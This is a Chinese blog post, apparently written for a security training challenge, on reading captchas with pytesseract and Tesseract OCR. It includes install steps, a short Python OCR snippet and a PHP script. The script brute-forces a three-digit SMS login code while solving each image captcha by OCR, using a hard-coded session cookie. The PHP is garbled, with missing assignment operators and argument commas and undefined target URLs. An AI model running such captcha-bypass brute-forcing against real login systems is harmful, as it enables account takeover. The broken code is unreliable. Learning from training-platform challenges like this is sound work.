[python]python验证码识别

http://www.waitalone.cn/python-php-ocr.html

最近在做网络信息安全攻防学习平台的题目,发现有些题居然需要用到验证码识别,这玩意以前都觉得是高大上的东西,一直没有去研究,这次花了点时间研究了一下,当然只是一些基础的东西,高深的我也不会,分享一下给大家吧。

这次验证码识别,我使用的python来实现的,发现python果然是强大无比,但是在验证码识别库的安装上面有点小问题。

关于python验证码识别库,网上主要介绍的为pytesser及pytesseract,其实pytesser的安装有一点点麻烦,所以这里我不考虑,直接使用后一种库。

python验证码识别库安装

要安装pytesseract库,必须先安装其依赖的PIL及tesseract-ocr,其中PIL为图像处理库,而后面的tesseract-ocr则为google的ocr识别引擎。

1、PIL 下载地址:

PIL-1.1.7.win-amd64-py2.7.exe

PIL-1.1.7.win32-py2.7.exe

或者直接使用pillow来代替,使用方法基本没有什么区别。

http://www.lfd.uci.edu/~gohlke/pythonlibs/#pillow

2、tesseract-ocr下载地址:

tesseract-ocr-setup-3.02.02.exe

3、pytesseract安装

直接使用pip install pytesseract安装即可,或者使用easy_install pytesseract

python验证码识别方法

01 #!/usr/bin/env python
02 # -*- coding: gbk -*-
03 # -*- coding: utf_8 -*-
04 # Date: 2014/11/27
05 # Created by 独自等待
07 try:
08     import pytesseract
09     from PIL import Image
10 except ImportError:
11     print '模块导入错误,请使用pip安装,pytesseract依赖以下库:'
12     print 'http://www.lfd.uci.edu/~gohlke/pythonlibs/#pil'
14     raise SystemExit
15  
16 image = Image.open('vcode.png')
17 vcode = pytesseract.image_to_string(image)
18 print vcode

识别率还挺高的,当然这也和验证码本身有关,因为这个验证码设计的比较容易识别。

验证码识别成功

python识别验证码,就是这么简单,大家还不快来试一试?

php验证码识别方法

关于php的验证码识别,这个我没有深入研究,但是用python实现完了以后就明白了,其实只要借助ocr识别库就可以了,直接贴上之前脚本关第9关的代码。

python实现的验证码识别破解实例请关注:

http://www.waitalone.cn/security-scripts-game.html

01 <?php
02 /**
03  * Created by 独自等待
04  * Date: 2014/11/20
05  * Time: 9:27
06  * Name: ocr.php
07  * 独自等待博客:http://www.waitalone.cn/
08  */
09 error_reporting(7);
10 if (!extension_loaded('curl')) exit('请开启CURL扩展,谢谢!');
11 crack_key();
12  
13 function crack_key()
14 {
16     for ($i = 100; $i <= 999; $i++) {
17         $vcode = mkvcode();
18         $post_data array(
19             'username' => 13388886666,
20             'mobi_code' => $i,
21             'user_code' => $vcode,
22             'Login' => 'submit'
23         );
24         $response = send_pack('POST'$crack_url$post_data);
25         if (!strpos($response'error')) {
26             system('cls');
27             echo $response;
28             break;
29         }else{
30             echo $response."\n";
31         }
32     }
33 }
34  
35  
36 function mkvcode()
37 {
38     $vcode '';
40     $pic = send_pack('GET'$vcode_url);
41     file_put_contents('vcode.png'$pic);
42     $cmd "\"D:\\Program Files (x86)\\Tesseract-OCR\\tesseract.exe\" vcode.png vcode";
43     system($cmd);
44     if (file_exists('vcode.txt')) {
45         $vcode file_get_contents('vcode.txt');
46         $vcode = trim($vcode);
47         $vcode str_replace(' '''$vcode);
48     }
49     if (strlen($vcode) == 4) {
50         return $vcode;
51     else {
52         return mkvcode();
53     }
54 }
55  
56 //数据包发送函数
57 function send_pack($method$url$post_data array())
58 {
59     $cookie 'saeut=218.108.135.246.1416190347811282;PHPSESSID=6eac12ef61de5649b9bfd8712b0f09c2';
60     $curl = curl_init();
61     curl_setopt($curl, CURLOPT_URL, $url);
62     curl_setopt($curl, CURLOPT_HEADER, 0);
63     curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
64     curl_setopt($curl, CURLOPT_COOKIE, $cookie);
65     if ($method == 'POST') {
66         curl_setopt($curl, CURLOPT_POST, 1);
67         curl_setopt($curl, CURLOPT_POSTFIELDS, $post_data);
68     }
69     $data = curl_exec($curl);
70     curl_close($curl);
71     return $data;
72 }

文中用到的文件下载

点我下载

相关文章:

http://vipscu.blog.163.com/blog/static/18180837220134234528457/

http://drops.wooyun.org/tips/141


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值